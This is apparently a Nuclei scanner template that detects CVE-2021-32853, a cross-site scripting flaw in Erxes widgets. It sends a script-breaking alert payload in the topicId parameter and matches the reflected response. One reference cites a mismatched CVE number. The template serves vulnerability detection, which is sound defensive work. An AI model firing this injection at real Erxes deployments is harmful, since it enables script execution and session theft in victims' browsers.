id: CVE-2021-32853 info: name: Erxes <0.23.0 - Cross-Site Scripting author: dwisiswant0 severity: critical description: Erxes before 0.23.0 contains a cross-site scripting vulnerability. The value of topicID parameter is not escaped and is triggered in the enclosing script tag. impact: | Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. remediation: | Upgrade to Erxes version 0.23.0 or later to mitigate the vulnerability. reference: - https://securitylab.github.com/advisories/GHSL-2021-103-erxes/ - https://nvd.nist.gov/vuln/detail/CVE-2021-3285 - https://github.com/erxes/erxes/blob/f131b49add72032650d483f044d00658908aaf4a/widgets/server/views/widget.ejs#L14 - https://github.com/erxes/erxes/blob/f131b49add72032650d483f044d00658908aaf4a/widgets/server/index.ts#L54 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H cvss-score: 9.6 cve-id: CVE-2021-32853 cwe-id: CWE-79 epss-score: 0.01224 epss-percentile: 0.83856 cpe: cpe:2.3:a:erxes:erxes:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: erxes product: erxes shodan-query: http.title:"erxes" tags: cve2021,cve,xss,erxes,oss http: - method: GET path: - "{{BaseURL}}/widgets/knowledgebase?topicId=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" matchers-condition: and matchers: - type: word part: body words: - 'topic_id: "' - "window.erxesEnv" condition: and - type: word part: header words: - text/html - type: status status: - 200 # digest: 4a0a0047304502207aed0ce8a782de56c716be549d8c4fa15f2cbf9113c348db56bdfc9910776782022100a891ca50a47ab7c7ce36f2e1498bb7e8f44b168bfecfb59396015929d2525eb4:922c64590222798bb761d5b6d8e72950